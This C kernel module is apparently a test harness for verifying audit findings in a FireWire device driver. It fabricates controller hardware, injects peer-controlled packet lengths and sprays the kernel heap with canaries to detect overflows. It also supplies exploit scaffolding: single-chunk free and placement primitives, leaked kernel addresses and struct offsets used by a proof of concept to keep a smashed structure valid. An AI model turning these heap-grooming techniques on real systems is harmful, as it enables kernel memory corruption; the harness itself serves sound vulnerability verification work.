/*
 * fwharness.c -- verification harness for DF-2293 / DF-2294 / DF-2295 / DF-2296
 * Audit target: sys/bus/firewire/fwdev.c (stock fwdev.o already linked into
 * X86_64_GENERIC by `device firewire`).
 *
 * VERBATIM-INTERPOSITION DESIGN (same scaffolding as the CAM rigs):
 *   - fwdev.o, firewire.o, fwdma.o from the STOCK kernel run verbatim.
 *     fw_ioctl / fw_read / fwdev_allocbuf / fwdma_malloc_multiseg /
 *     fw_asyreq / fw_bindadd are the unmodified stock binaries.
 *   - This file fabricates only the fwohci/peer-side externalities that real
 *     OHCI hardware would provide:
 *       1. a struct firewire_comm with interposed method pointers
 *          (pass-through stubs for irx_enable/itx_enable/... and a capture
 *          stub for the AT-transmit start),
 *       2. the fwohci tcode table -- verbatim copy of the static tinfo[]
 *          from sys/bus/firewire/fwohci.c:85 (fc->tcode = tinfo, fwohci.c:661),
 *       3. a firewire_softc injected as unit 0 into the real
 *          firewire_devclass so the stock
 *          devclass_get_softc(firewire_devclass, 0) in fwdev.c works,
 *       4. /dev/fw0.0 created against the real firewire_ops (fwdev.c:75)
 *          with the stock clone permissions UID_ROOT/GID_OPERATOR/0660
 *          (same as fwdev.c:854-856).
 *   - /dev/fwhctl0 (root-only, 0600) emulates the FireWire peer / OHCI
 *     hardware side: inject a received iso packet with attacker-chosen
 *     stream.len into the real DMA ring, spray the kmalloc mixed-size zone
 *     with canaries, set fc->maxrec, dump the "wire" capture buffer, and
 *     check canary corruption.
 *
 * No line of fwdev.c / fwdma.c / firewire.c is modified in the baseline
 * build.  For fix validation the SAME harness kernel is rebuilt with only
 * fix.diff applied to fwdev.c.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/conf.h>
#include <sys/device.h>		/* struct dev_ops, make_dev, D_MEM */
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct devclass / struct bsd_device */
#include <sys/callout.h>
#include <sys/sysctl.h>
#include <sys/queue.h>
#include <sys/thread2.h>
#include <sys/uio.h>

#include <bus/firewire/firewire.h>
#include <bus/firewire/firewirereg.h>
#include <bus/firewire/fwdma.h>
#include "fwharness.h"

extern struct dev_ops firewire_ops;	/* fwdev.c:75, stock kernel symbol */

MALLOC_DEFINE(M_FWH, "fwharness", "fwdev.c verification harness");

#define FWH_NISO	4

/*
 * Verbatim copy of the static tcode table from sys/bus/firewire/fwohci.c:85
 * (assigned to fc->tcode in fwohci_attach, fwohci.c:661).
 */
static struct tcode_info fwh_tinfo[] = {
/*		hdr_len block 	flag*/
/* 0 WREQQ  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 1 WREQB  */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* 2 WRES   */ {12,	FWTI_RES},
/* 3 XXX    */ { 0,	0},
/* 4 RREQQ  */ {12,	FWTI_REQ | FWTI_TLABEL},
/* 5 RREQB  */ {16,	FWTI_REQ | FWTI_TLABEL},
/* 6 RRESQ  */ {16,	FWTI_RES},
/* 7 RRESB  */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* 8 CYCS   */ { 0,	0},
/* 9 LREQ   */ {16,	FWTI_REQ | FWTI_TLABEL | FWTI_BLOCK_ASY},
/* a STREAM */ { 4,	FWTI_REQ | FWTI_BLOCK_STR},
/* b LRES   */ {16,	FWTI_RES | FWTI_BLOCK_ASY},
/* c XXX    */ { 0,	0},
/* d XXX    */ { 0, 	0},
/* e PHY    */ {12,	FWTI_REQ},
/* f XXX    */ { 0,	0}
};

static struct firewire_comm fwh_fc;		/* fabricated controller comm */
static struct firewire_softc fwh_sc;		/* fabricated softc */
static struct bsd_device fwh_dev;		/* fabricated device_t shell */
static struct fw_xferq *fwh_ir[FWH_NISO];	/* iso rx xferqs */
static struct fw_xferq *fwh_it[FWH_NISO];	/* iso tx xferqs */
static struct fw_xferq *fwh_atq;		/* async tx request queue */

/* peer-response emulation (what a malicious peer would put in a response) */
static u_int fwh_resp_paylen;			/* recv.pay_len to emulate */
static u_int fwh_resp_fill = 0xC2;

/* "wire" capture: what the OHCI TX start would have DMA'd out */
#define FWH_TXCAP_MAX	(256 * 1024)
static u_char fwh_txcap[FWH_TXCAP_MAX];
static size_t fwh_txcap_len;
static u_int fwh_txcount;


/* canary spray of the kmalloc slab zone size-classes */
#define FWH_SPRAY_MAX 512
struct fwh_spraychunk {
	void	*ptr;
	u_int	size;
	u_int	idx;
};
static struct fwh_spraychunk fwh_spray[FWH_SPRAY_MAX];
static u_int fwh_spray_n;

SYSCTL_UINT(_hw, OID_AUTO, fwh_maxrec, CTLFLAG_RW, &fwh_fc.maxrec, 0,
    "fabricated fc->maxrec (S400=10 -> MAXREC 2048, S800=11 -> 4096)");
SYSCTL_UINT(_hw, OID_AUTO, fwh_txcount, CTLFLAG_RD, &fwh_txcount, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_txlen, CTLFLAG_RD, (u_int *)&fwh_txcap_len, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_spray_n, CTLFLAG_RD, &fwh_spray_n, 0, "");
static u_long fwh_mfwxfer_addr = (u_long)&M_FWXFER;
SYSCTL_ULONG(_hw, OID_AUTO, fwh_mfwxfer, CTLFLAG_RD, &fwh_mfwxfer_addr, 0,
    "kernel address of M_FWXFER malloc_type (no KASLR on this guest)");
static u_long fwh_spray_last_addr;
SYSCTL_ULONG(_hw, OID_AUTO, fwh_spray_last, CTLFLAG_RD, &fwh_spray_last_addr,
    0, "kernel address of the most recently sprayed canary chunk");

/* exact fw_xfer layout (consumed by poc_2296 to keep the smashed tail valid) */
#include <sys/stdint.h>
static u_int fwh_off_sp = offsetof(struct fw_xfer, send.payload);
static u_int fwh_off_rh = offsetof(struct fw_xfer, recv.hdr);
static u_int fwh_off_rp = offsetof(struct fw_xfer, recv.payload);
static u_int fwh_off_rl = offsetof(struct fw_xfer, recv.pay_len);
static u_int fwh_off_mb = offsetof(struct fw_xfer, mbuf);
static u_int fwh_off_ml = offsetof(struct fw_xfer, malloc);
static u_int fwh_sz_xf = sizeof(struct fw_xfer);
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_sendpayload, CTLFLAG_RD, &fwh_off_sp, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvhdr, CTLFLAG_RD, &fwh_off_rh, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvpayload, CTLFLAG_RD, &fwh_off_rp, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_recvpaylen, CTLFLAG_RD, &fwh_off_rl, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_mbuf, CTLFLAG_RD, &fwh_off_mb, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_off_malloc, CTLFLAG_RD, &fwh_off_ml, 0, "");
SYSCTL_UINT(_hw, OID_AUTO, fwh_sz_xfer, CTLFLAG_RD, &fwh_sz_xf, 0, "");

/* ------------------------------------------------------------------ */
/* interposed OHCI methods (pass-through stubs)                        */
/* ------------------------------------------------------------------ */
static int
fwh_irx_enable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: irx_enable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_irx_disable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: irx_disable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_itx_enable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: itx_enable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static int
fwh_itx_disable(struct firewire_comm *fc, int dmach)
{
	kprintf("fwh: itx_disable(dmach=%d) [interposed stub]\n", dmach);
	return (0);
}

static void
fwh_ibr(struct firewire_comm *fc)
{
	kprintf("fwh: ibr() [interposed stub]\n");
}

static int
fwh_busioctl(struct dev_ioctl_args *ap)
{
	kprintf("fwh: fc->ioctl(default) reached [interposed stub]\n");
	return (EINVAL);
}

/* ------------------------------------------------------------------ */
/* interposed OHCI AT-transmit start: capture what the wire would carry */
/* ------------------------------------------------------------------ */
/*
 * Interposed OHCI TX start + TX-done (DF-5845 rig):
 *   fwohci_tx_start() dequeues AT xfers and DMAs them out; the TX-done
 *   interrupt (fwohci.c:1110) then sets xfer->state = FWXF_SENT.  We
 *   emulate both instantly: dequeue every queued xfer, snapshot the
 *   "wire" payload, mark FWXF_SENT, and record the wire-observable
 *   fields (dst, tlabel) in the pending table for the peer rig.
 */
#define FWH_PEND_MAX	16
static struct {
	struct fw_xfer	*xfer;
	u_int32_t	dst;
	u_int32_t	tl;
	u_int32_t	seq;
} fwh_pend[FWH_PEND_MAX];
static u_int fwh_pend_seq;

static void
fwh_atx_start(struct firewire_comm *fc)
{
	struct fw_xfer *xfer;

	for (;;) {
		crit_enter();
		xfer = STAILQ_FIRST(&fwh_atq->q);
		if (xfer == NULL) {
			crit_exit();
			break;
		}
		STAILQ_REMOVE_HEAD(&fwh_atq->q, link);
		fwh_atq->queued--;
		crit_exit();

		/* what real hardware would DMA out on the wire */
		if (xfer->send.payload != NULL && xfer->send.pay_len > 0) {
			size_t n = xfer->send.pay_len;

			if (n > FWH_TXCAP_MAX)
				n = FWH_TXCAP_MAX;
			bcopy(xfer->send.payload, fwh_txcap, n);
			fwh_txcap_len = n;
		}
		fwh_txcount++;
		kprintf("fwh: TXDONE xfer=%p state=%u spd=%u "
		    "send.payload=%p send.pay_len=%u "
		    "recv.payload=%p recv.pay_len=%u\n",
		    xfer, xfer->state, (unsigned)xfer->send.spd,
		    xfer->send.payload, xfer->send.pay_len,
		    xfer->recv.payload, xfer->recv.pay_len);

		/* fwohci.c:1110 txd: TX DMA done */
		xfer->state = FWXF_SENT;

		/* rolling table: entry [seq % FWH_PEND_MAX] */
		{
			u_int slot = fwh_pend_seq % FWH_PEND_MAX;

			fwh_pend[slot].xfer = xfer;
			fwh_pend[slot].dst = xfer->send.hdr.mode.hdr.dst;
			fwh_pend[slot].tl = xfer->send.hdr.mode.hdr.tlrt >> 2;
			fwh_pend[slot].seq = fwh_pend_seq;
			fwh_pend_seq++;
		}
	}
}

/*
 * DF-5845: deliver a received async packet to the STOCK fw_rcv()
 * (firewire.c:1731), exactly as the fwohci AR-DMA receive interrupt
 * would (fwohci_arcv -> fw_rcv).  All parsing/copying is stock code.
 */
static struct iovec fwh_rb_iov;
static struct fw_rcv_buf fwh_rb;
static u_char fwh_pkt[FWH_PKT_MAX];

static int
fwh_pktrcv(struct fwh_pktreq *pr)
{
	if (pr->len < 4 || pr->len > FWH_PKT_MAX)
		return (EINVAL);
	bcopy(pr->data, fwh_pkt, pr->len);
	{
		u_int32_t *pw = (u_int32_t *)fwh_pkt;
		kprintf("fwh: PKTRCV len=%u w0=%08x w1=%08x w2=%08x w3=%08x\n",
		    pr->len, pw[0], pw[1], pw[2], pw[3]);
	}
	fwh_rb.fc = &fwh_fc;
	fwh_rb.xfer = NULL;
	fwh_rb.spd = 0;
	fwh_rb.vec = &fwh_rb_iov;
	fwh_rb.nvec = 1;
	fwh_rb_iov.iov_base = fwh_pkt;
	fwh_rb_iov.iov_len = pr->len;
	fw_rcv(&fwh_rb);
	{
		u_int i;
		for (i = 0; i < FWH_PEND_MAX; i++) {
			if (fwh_pend[i].seq >= fwh_pend_seq ||
			    fwh_pend[i].xfer == NULL)
				continue;
			kprintf("fwh: POST-RCV pend[%u] seq=%u dst=%#x "
			    "tl=%u xfer=%p state=%u resp=%u "
			    "act.hand=%p recv.payload=%p recv.pay_len=%u\n",
			    i, fwh_pend[i].seq, fwh_pend[i].dst,
			    fwh_pend[i].tl, fwh_pend[i].xfer,
			    fwh_pend[i].xfer->state,
			    (unsigned char)fwh_pend[i].xfer->resp,
			    fwh_pend[i].xfer->act.hand,
			    fwh_pend[i].xfer->recv.payload,
			    fwh_pend[i].xfer->recv.pay_len);
		}
	}
	return (0);
}

/* ------------------------------------------------------------------ */
/* peer emulation: inject a received iso packet into the real DMA ring */
/* ------------------------------------------------------------------ */
static void
fwh_fill_canary(void *p, size_t size, u_int tag)
{
	u_int32_t *w = p;
	size_t i;

	for (i = 0; i + 4 <= size / 4; i += 4) {
		w[i + 0] = 0xF00DF00D;
		w[i + 1] = tag;
		w[i + 2] = (u_int32_t)(i * 4);	/* byte offset in slot */
		w[i + 3] = 0xDEADC0DE ^ tag;
	}
}

static int
fwh_inject(u_int plen)
{
	struct fw_xferq *q = fwh_ir[0];
	u_int nslot, i;
	u_int32_t hdr, *p;

	if (q == NULL || q->buf == NULL || q->bulkxfer == NULL ||
	    q->psize == 0)
		return (ENXIO);

	nslot = q->bnchunk * q->bnpacket;
	for (i = 0; i < nslot; i++) {
		p = fwdma_v_addr(q->buf, i);
		fwh_fill_canary(p, q->psize, 0x50000000u | i);
	}

	/*
	 * Received stream packet header at slot 0, exactly as OHCI DMA
	 * would write it: bits 31..16 = len, 15..8 = chtag, 7..4 = tcode
	 * (0xa STREAM), 3..0 = sy.  The peer controls len.
	 */
	hdr = ((plen & 0xffff) << 16) | ((1u & 0xff) << 8) |
	    (FWTCODE_STREAM << 4) | 0;
	p = fwdma_v_addr(q->buf, 0);
	p[0] = hdr;

	/* OHCI DMA finished chunk 0: mark it valid and wake fw_read */
	if (STAILQ_EMPTY(&q->stvalid)) {
		STAILQ_INSERT_TAIL(&q->stvalid, &q->bulkxfer[0], link);
		wakeup(q);
	}
	kprintf("fwh: INJECT stream.len=%u into %u-slot ring (psize=%u)\n",
	    plen, nslot, q->psize);
	return (0);
}

/* ------------------------------------------------------------------ */
/* canary spray of the kmalloc mixed-size zone                          */
/* ------------------------------------------------------------------ */
static int
fwh_spray_do(u_int n, u_int size)
{
	u_int i, base = fwh_spray_n;
	void *p;
	u_int tag;

	if (base + n > FWH_SPRAY_MAX)
		n = FWH_SPRAY_MAX - base;
	for (i = 0; i < n; i++) {
		tag = 0xA0000000u | (size << 16) | (base + i);
		p = kmalloc(size, M_FWH, M_WAITOK | M_ZERO);
		if (p == NULL)
			break;
		fwh_fill_canary(p, size, tag);
		fwh_spray[base + i].ptr = p;
		fwh_spray[base + i].size = size;
		fwh_spray[base + i].idx = base + i;
		fwh_spray_last_addr = (u_long)p;
	}
	fwh_spray_n = base + i;
	kprintf("fwh: SPRAY +%u x %u bytes (idx %u..%u, slab size-class "
	    "zone, canary tagged)\n", i, size, base, fwh_spray_n - 1);
	return (0);
}

static void
fwh_spray_undo(void)
{
	u_int i;

	for (i = 0; i < fwh_spray_n; i++) {
		if (fwh_spray[i].ptr != NULL)
			kfree(fwh_spray[i].ptr, M_FWH);
	}
	fwh_spray_n = 0;
}

static int
fwh_spray_chk(u_int *corrupt_out, u_int *bytes_out)
{
	u_int32_t *w;
	u_int i, corrupt = 0, badbytes = 0, j, nw, tag;

	for (i = 0; i < fwh_spray_n; i++) {
		if (fwh_spray[i].ptr == NULL)
			continue;
		w = fwh_spray[i].ptr;
		nw = fwh_spray[i].size / 4;
		tag = 0xA0000000u | (fwh_spray[i].size << 16) | i;
		for (j = 0; j + 3 < nw; j += 4) {
			if (w[j] != 0xF00DF00D ||
			    w[j + 1] != tag ||
			    w[j + 2] != (j * 4) ||
			    w[j + 3] != (0xDEADC0DE ^ tag)) {
				corrupt = 1;
				if (bytes_out)
					badbytes += 4;
			}
		}
		if (corrupt && i < 8)
			kprintf("fwh: SPRAYCHK chunk %u (%u bytes) CANARY "
			    "CORRUPT (w0=%08x w1=%08x w2=%08x w3=%08x)\n",
			    i, fwh_spray[i].size, w[0], w[1], w[2], w[3]);
	}
	kprintf("fwh: SPRAYCHK done: corrupt=%u\n", corrupt);
	*corrupt_out = corrupt;
	if (bytes_out)
		*bytes_out = badbytes;
	return (0);
}

#define FWH_SPRAYDUMP_HDR 160
static int
fwh_spray_dump(struct fwh_dumpreq *dr)
{
	u_int i, k, n, start;

	if (dr->start >= fwh_spray_n) {
		dr->n = 0;
		return (0);
	}
	start = dr->start;
	if (dr->n > fwh_spray_n - start)
		dr->n = fwh_spray_n - start;
	n = dr->n;
	for (i = 0, k = 0; i < n && k < FWH_DUMP_CHUNKS; ) {
		if (fwh_spray[start + i].ptr == NULL) {
			i++;
			continue;
		}
		dr->chunk[k].idx = fwh_spray[start + i].idx;
		dr->chunk[k].size = fwh_spray[start + i].size;
		memcpy(dr->chunk[k].data, fwh_spray[start + i].ptr,
		    FWH_SPRAYDUMP_HDR);
		i++;
		k++;
	}
	dr->n = k;
	kprintf("fwh: SPRAYDUMP %u chunks from %u\n", k, start);
	return (0);
}

/* pop the last sprayed chunk from the list WITHOUT freeing it (the
 * kernel will free it itself, e.g. kfree(xfer->recv.payload)) */
static int
fwh_spray_pop(void)
{
	int i;

	for (i = (int)fwh_spray_n - 1; i >= 0; i--) {
		if (fwh_spray[i].ptr != NULL) {
			fwh_spray_last_addr = (u_long)fwh_spray[i].ptr;
			kprintf("fwh: SPRAYPOP chunk %u (%u bytes) ptr=%p "
			    "(removed from list, kernel will free it)\n",
			    (u_int)i, fwh_spray[i].size, fwh_spray[i].ptr);
			fwh_spray[i].ptr = NULL;
			return (0);
		}
	}
	return (EINVAL);
}

/* free a single sprayed chunk (LIFO placement primitive: the next
 * same-class kmalloc -- e.g. the fw_xfer in FW_ASYREQ -- lands here) */
static int
fwh_spray_free1(u_int idx)
{
	if (idx >= fwh_spray_n || fwh_spray[idx].ptr == NULL)
		return (EINVAL);
	kfree(fwh_spray[idx].ptr, M_FWH);
	fwh_spray[idx].ptr = NULL;
	kprintf("fwh: SPRAYFREE chunk %u (%u bytes) freed\n",
	    idx, fwh_spray[idx].size);
	return (0);
}

/* ------------------------------------------------------------------ */
/* /dev/fwhctl0 control device (root-only peer/hardware emulation)     */
/* ------------------------------------------------------------------ */
static int
fwhctl_ioctl(struct dev_ioctl_args *ap)
{
	int err = 0;
	u_int32_t v;
	struct fwh_sprayreq sr;
	struct fwh_respreq rr;
	struct fwh_chkreq cr;

	switch (ap->a_cmd) {
	case FWHIOC_MAXREC:
		bcopy(ap->a_data, &v, sizeof(v));
		fwh_fc.maxrec = v;
		kprintf("fwh: fc->maxrec = %u (MAXREC=%u bytes)\n",
		    v, 2u << v);
		break;
	case FWHIOC_INJECT:
		bcopy(ap->a_data, &v, sizeof(v));
		err = fwh_inject(v);
		break;
	case FWHIOC_SPRAY:
		bcopy(ap->a_data, &sr, sizeof(sr));
		err = fwh_spray_do(sr.n, sr.size);
		break;
	case FWHIOC_UNSPRAY:
		fwh_spray_undo();
		break;
	case FWHIOC_RESP:
		bcopy(ap->a_data, &rr, sizeof(rr));
		fwh_resp_paylen = rr.paylen;
		fwh_resp_fill = rr.fill;
		kprintf("fwh: peer response emulation paylen=%u fill=%02x\n",
		    rr.paylen, rr.fill);
		break;
	case FWHIOC_SPRAYCHK:
		err = fwh_spray_chk(&cr.corrupt, &cr.badwords);
		bcopy(&cr, ap->a_data, sizeof(cr));
		break;
	case FWHIOC_SPRAYDUMP:
		err = fwh_spray_dump((struct fwh_dumpreq *)ap->a_data);
		break;
	case FWHIOC_SPRAYFREE:
		bcopy(ap->a_data, &v, sizeof(v));
		err = fwh_spray_free1(v);
		break;
	case FWHIOC_SPRAYPOP:
		err = fwh_spray_pop();
		break;
	case FWHIOC_PKTRCV:
		fwh_pktrcv((struct fwh_pktreq *)ap->a_data);
		kprintf("fwh: PKTRCV len=%u delivered to stock fw_rcv\n",
		    ((struct fwh_pktreq *)ap->a_data)->len);
		break;
	case FWHIOC_PEND: {
		struct fwh_pendreq *pq = (struct fwh_pendreq *)ap->a_data;
		u_int i, k;

		for (i = 0, k = 0; i < FWH_PEND_MAX && k < FWH_PEND_MAX; i++) {
			if (fwh_pend[i].seq < pq->seq_after ||
			    fwh_pend[i].seq >= fwh_pend_seq ||
			    fwh_pend[i].xfer == NULL)
				continue;
			pq->ent[k].xfer = (u_int64_t)(uintptr_t)fwh_pend[i].xfer;
			pq->ent[k].dst = fwh_pend[i].dst;
			pq->ent[k].tl = fwh_pend[i].tl;
			pq->ent[k].seq = fwh_pend[i].seq;
			k++;
		}
		pq->n = k;
		break;
	}
	case FWHIOC_SPRAYADDR: {
		struct fwh_addrreq *ar = (struct fwh_addrreq *)ap->a_data;

		if (ar->idx >= fwh_spray_n)
			return (EINVAL);
		ar->addr = (u_int64_t)(uintptr_t)fwh_spray[ar->idx].ptr;
		break;
	}
	default:
		err = ENOTTY;
	}
	return (err);
}

static int
fwhctl_open(struct dev_open_args *ap)
{
	return (0);
}

static int
fwhctl_read(struct dev_read_args *ap)
{
	struct uio *uio = ap->a_uio;
	size_t n;

	if (fwh_txcap_len == 0)
		return (EIO);
	n = uio->uio_resid;
	if (n > fwh_txcap_len)
		n = fwh_txcap_len;
	return (uiomove(fwh_txcap, n, uio));
}

static struct dev_ops fwhctl_ops = {
	{ "fwhctl", 0, D_MEM },
	.d_open =	fwhctl_open,
	.d_ioctl =	fwhctl_ioctl,
	.d_read =	fwhctl_read,
};

/* ------------------------------------------------------------------ */
/* boot: fabricate fc / softc, inject into the real devclass, make devs */
/* ------------------------------------------------------------------ */
static void
fwh_init(void *arg)
{
	struct fw_xferq *q;
	int i;

	memset(&fwh_fc, 0, sizeof(fwh_fc));

	fwh_fc.nisodma = FWH_NISO;
	fwh_fc.maxrec = 10;			/* fwohci.c:521, speed S400 */
	fwh_fc.max_asyretry = 4;		/* FW_MAXASYRTY, firewire.c:73 */
	fwh_fc.eui.hi = 0x00112233;
	fwh_fc.eui.lo = 0x44556677;
	fwh_fc.tcode = fwh_tinfo;		/* verbatim fwohci.c:85 table */
	fwh_fc.status = FWBUSCOMPLETION;
	fwh_fc.ibr = fwh_ibr;
	fwh_fc.ioctl = fwh_busioctl;
	fwh_fc.irx_enable = fwh_irx_enable;
	fwh_fc.irx_disable = fwh_irx_disable;
	fwh_fc.itx_enable = fwh_itx_enable;
	fwh_fc.itx_disable = fwh_itx_disable;
	fwh_fc.irx_post = NULL;
	fwh_fc.itx_post = NULL;

	STAILQ_INIT(&fwh_fc.binds);
	STAILQ_INIT(&fwh_fc.devices);
	for (i = 0; i < 0x40; i++)
		STAILQ_INIT(&fwh_fc.tlabels[i]);

	for (i = 0; i < FWH_NISO; i++) {
		q = kmalloc(sizeof(*q), M_FWH, M_INTWAIT | M_ZERO);
		q->dmach = i;
		q->maxq = FWMAXQUEUE;
		STAILQ_INIT(&q->q);
		STAILQ_INIT(&q->binds);
		STAILQ_INIT(&q->stvalid);
		STAILQ_INIT(&q->stfree);
		STAILQ_INIT(&q->stdma);
		fwh_ir[i] = fwh_fc.ir[i] = q;

		q = kmalloc(sizeof(*q), M_FWH, M_INTWAIT | M_ZERO);
		q->dmach = i;
		q->maxq = FWMAXQUEUE;
		STAILQ_INIT(&q->q);
		STAILQ_INIT(&q->binds);
		STAILQ_INIT(&q->stvalid);
		STAILQ_INIT(&q->stfree);
		STAILQ_INIT(&q->stdma);
		fwh_it[i] = fwh_fc.it[i] = q;
	}

	fwh_atq = kmalloc(sizeof(*fwh_atq), M_FWH, M_INTWAIT | M_ZERO);
	fwh_atq->maxq = FWMAXQUEUE;
	fwh_atq->start = fwh_atx_start;		/* the interposed TX start */
	STAILQ_INIT(&fwh_atq->q);
	fwh_fc.atq = fwh_atq;

	/* the real bus_dma parent tag (fwohci uses bus_get_dma_tag) */
	if (bus_dma_tag_create(/*parent*/ NULL, /*alignment*/ 1,
	    /*boundary*/ 0, /*lowaddr*/ BUS_SPACE_MAXADDR_32BIT,
	    /*highaddr*/ BUS_SPACE_MAXADDR, /*maxsize*/ BUS_SPACE_MAXSIZE,
	    /*nsegments*/ BUS_SPACE_UNRESTRICTED,
	    /*maxsegsz*/ BUS_SPACE_MAXSIZE_32BIT,
	    /*flags*/ 0, &fwh_fc.dmat) != 0)
		kprintf("fwh: WARNING bus_dma_tag_create failed\n");

	/* fabricate softc as unit 0 of the real firewire devclass */
	if (firewire_devclass == NULL)
		firewire_devclass = devclass_create("firewire");
	if (firewire_devclass->devices == NULL) {
		firewire_devclass->devices = kmalloc(
		    sizeof(device_t) * 4, M_FWH, M_INTWAIT | M_ZERO);
		firewire_devclass->maxunit = 4;
	}
	fwh_sc.fc = &fwh_fc;
	fwh_dev.softc = &fwh_sc;
	firewire_devclass->devices[0] = &fwh_dev;

	/* the audited device nodes: real firewire_ops, stock clone perms
	 * (fwdev_clone creates independent /dev/fw0.S minors, fwdev.c:822) */
	make_dev(&firewire_ops, MAKEMINOR(0, 0, 0),
	    UID_ROOT, GID_OPERATOR, 0660, "fw0.0");
	make_dev(&firewire_ops, MAKEMINOR(0, 0, 1),
	    UID_ROOT, GID_OPERATOR, 0660, "fw0.1");

	/* root-only peer/hardware emulation control */
	make_dev(&fwhctl_ops, 0, UID_ROOT, GID_WHEEL, 0600, "fwhctl0");

	kprintf("FWHARNESS-READY: fwdev.o verbatim, fc=%p nisodma=%d "
	    "maxrec=%u /dev/fw0.0 (0660 root:operator) + /dev/fwhctl0\n",
	    &fwh_fc, fwh_fc.nisodma, fwh_fc.maxrec);
}
SYSINIT(fwharness, SI_SUB_PSEUDO, SI_ORDER_MIDDLE, fwh_init, NULL);
